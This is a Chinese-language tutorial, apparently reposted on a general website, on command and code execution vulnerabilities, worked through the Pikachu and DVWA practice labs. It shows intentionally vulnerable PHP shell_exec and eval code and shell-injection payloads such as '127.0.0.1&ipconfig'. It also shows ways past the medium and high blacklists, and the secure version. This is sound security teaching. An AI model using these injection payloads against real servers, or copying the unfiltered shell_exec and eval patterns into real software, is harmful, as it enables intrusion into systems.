您好,欢迎来到钮旅网。
搜索
您的当前位置:首页23-命令执行漏洞(一)

23-命令执行漏洞(一)

来源:钮旅网

1.1命令与代码执行原理:

命令执行原理:设计者在编写代码时没有做严格的安全控制,导致攻击者通过接口或相关参数提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器 。

代码执行原理:没有对对接口输入的内容进行严格判断,造成攻击者精心构造的代码非法执行。

命令执行原理:

exec'ping'

打开pikachu靶场,查看exec "ping"源代码:

发现:参数给变量未经过滤,使用了不安全函数shell_exec

if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
    $ip=$_POST['ipaddress'];
//     $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255
    if(stristr(php_uname('s'), 'windows')){
//         var_dump(php_uname('s'));
        $result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
    }else {
        $result.=shell_exec('ping -c 4 '.$ip);
    }

命令执行测试方法:
&
&&
|
||

windows系统命令参数

正常命令执行:

C:\Documents and Settings\Administrator>ping 127.0.0.1&ipconfig

Pinging 127.0.0.1 with 32 bytes of data:

Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128

Ping statistics for 127.0.0.1:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

Windows IP Configuration


Ethernet adapter 本地连接:

   Connection-specific DNS Suffix  . :
   IP Address. . . . . . . . . . . . : 10.0.0.101
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.0.0.2
-------------------------------------------------------------------------

& :前后有错误都会被执行:

-----------

C:\Documents and Settings\Administrator>ping 127.0.0.1ABC&ipconfigABC
Ping request could not find host 127.0.0.1ABC. Please check the name and try aga
in.
'ipconfigABC' 不是内部或外部命令,也不是可运行的程序
或批处理文件。

&&:前后有错误只会执行&前面

C:\Documents and Settings\Administrator>ping 127.0.0.1ABC&&ipconfigABC
Ping request could not find host 127.0.0.1ABC. Please check the name and try aga
in.

|:前后有错误只会执行|后面

C:\Documents and Settings\Administrator>ping 127.0.0.1ABC|ipconfigABC
'ipconfigABC' 不是内部或外部命令,也不是可运行的程序
或批处理文件。

||:前后有错误都会被执行

C:\Documents and Settings\Administrator>ping 127.0.0.1ABC||ipconfigABC
Ping request could not find host 127.0.0.1ABC. Please check the name and try aga
in.
'ipconfigABC' 不是内部或外部命令,也不是可运行的程序
或批处理文件。

代码执行原理:
代码执行与加密: eval, assert, call_user_func,base_decode, gzinflate, gzuncompress, gzdecode, str_rot13

常用:eval

exec "eval"

打开pikachu靶场,exec "eval"输入:

phpinfo();

查看exec "eval"源代码:

(参数给变量未经过滤,使用不安全函数eval)

if ($SELF_PAGE = "rce_evel.php"){
    $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}

$PIKA_ROOT_DIR =  "../../";
include_once $PIKA_ROOT_DIR . 'header.php';

$html='';
if(isset($_POST['submit']) && $_POST['txt'] != null){
    if(@!eval($_POST['txt'])){
        $html.="<p>你喜欢的字符还挺奇怪的!</p>";

 代码成功执行

1.2命令执行一般出现那些地方
只要带参数的地方都可能出现命令执行漏洞

常见的路由器、防火墙、入侵检测、自动化运维平台
1.3 如何挖命令执行漏洞
(1)执行系统命令:
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引号)
(2)代码执行与加密: 
eval, assert, call_user_func,base_decode, gzinflate, gzuncompress, gzdecode, str_rot13
 (3)文件包含与生成:
require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
 (4).htaccess:
SetHandler, auto_prepend_file, auto_append_file


1.4dvwa靶场环境测试
Low级别

可执行:

127.0.0.1&ipconfig、127.0.0.1&&ipconfig、127.0.0.1||ipconfig、127.0.0.1|| ipconfig

 low级别没过滤漏洞代码:


<?php
​
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];
​
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
​
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
​
?>


Medium级别
127.0.0.1&ipconfig
<?php
​
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];
​
    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );
​
    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
​
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
​
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
​
?>

 可执行方式:127.0.0.1&ipconfig、127.0.0.1&&&ipconfig
设置黑名单: 创建一个数组 $substitutions,其中包含需要替换的字符('&&' 和 ';'),它们可能被用于命令注入攻击。


High级别

可执行:

127.0.0.1|| ipconfig
<?php
​
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);
​
    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
​
    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
​
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
​
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
​
?>



impossible级别

ping ip无漏洞代码:


<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>


无漏洞方式注解:
反CSRF令牌验证: checkToken 函数用于验证user_token与session_token是否匹配,以防止跨站请求伪造(CSRF)攻击。这两个变量分别来自POST请求和会话($_SESSION)。

操作系统检测: 使用 stristr 函数检测操作系统,如果是Windows,则执行Windows版本的ping命令;否则,执行Unix/Linux版本的ping命令。

执行ping命令: 根据操作系统类型,使用 shell_exec 函数执行相应的ping命令。Windows中不带参数,而Unix/Linux中使用 -c 4 参数发送4个ICMP回显请求。

声明:

  • 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。

因篇幅问题不能全部显示,请点此查看更多更全内容

Copyright © 2019- niushuan.com 版权所有 赣ICP备2024042780号-2

违法及侵权请联系:TEL:199 1889 7713 E-MAIL:2724546146@qq.com

本站由北京市万商天勤律师事务所王兴未律师提供法律服务